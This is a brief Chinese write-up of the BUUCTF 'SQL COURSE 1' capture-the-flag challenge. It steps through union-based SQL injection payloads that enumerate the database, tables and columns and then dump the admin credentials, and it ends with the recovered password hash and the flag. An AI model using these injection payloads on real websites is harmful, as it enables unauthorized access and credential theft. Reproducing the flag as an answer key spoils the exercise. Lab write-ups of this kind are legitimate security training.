BUU SQL COURSE 1

1、链接页面

2、尝试admin＋万能密码测试登录发现登录不了，看来这条路走不通了

3、查看那几条新闻，发现url有点奇怪

4、先fn+f12查看页面，再fn+f5，找到原始请求的url

5、访问这个url，出现了新闻1的内容

http://dcd38613-6dfd-4e63-80c6-a7af2ea84ebd.node5.buuoj.cn:81/backend/content_detail.php?id=1

6、既然登录框不能测试sql，那在url中进行sql注入

经过上面两种情况的测试得知这是数字型注入

7、接下来常规步骤：查询列数（由下面测试结果可知有两列）

id=1 order by 2;有回显

id=1 order by 3;无回显

8、判断回显位置

?id=-1 union select 1,2;

9、查询数据库名:news

?id=-1 union select 1,database(); 

10、查询表名:admin，contents

?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database(); 

11、查admin表中字段信息:"id,username,password"

?id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_name='admin'; 

12、获取admin表中用户名和密码的信息

?id=-1 union select 1,group_concat(username)from admin; 

 ?id=-1 union select 1,group_concat(password)from admin;

13、得到信息

admin

652e9bfc2546350797699a3ffaa91f88

14、登录账号得到flag

flag{b4d03c61-e70a-497a-ba7d-ca87753188a4}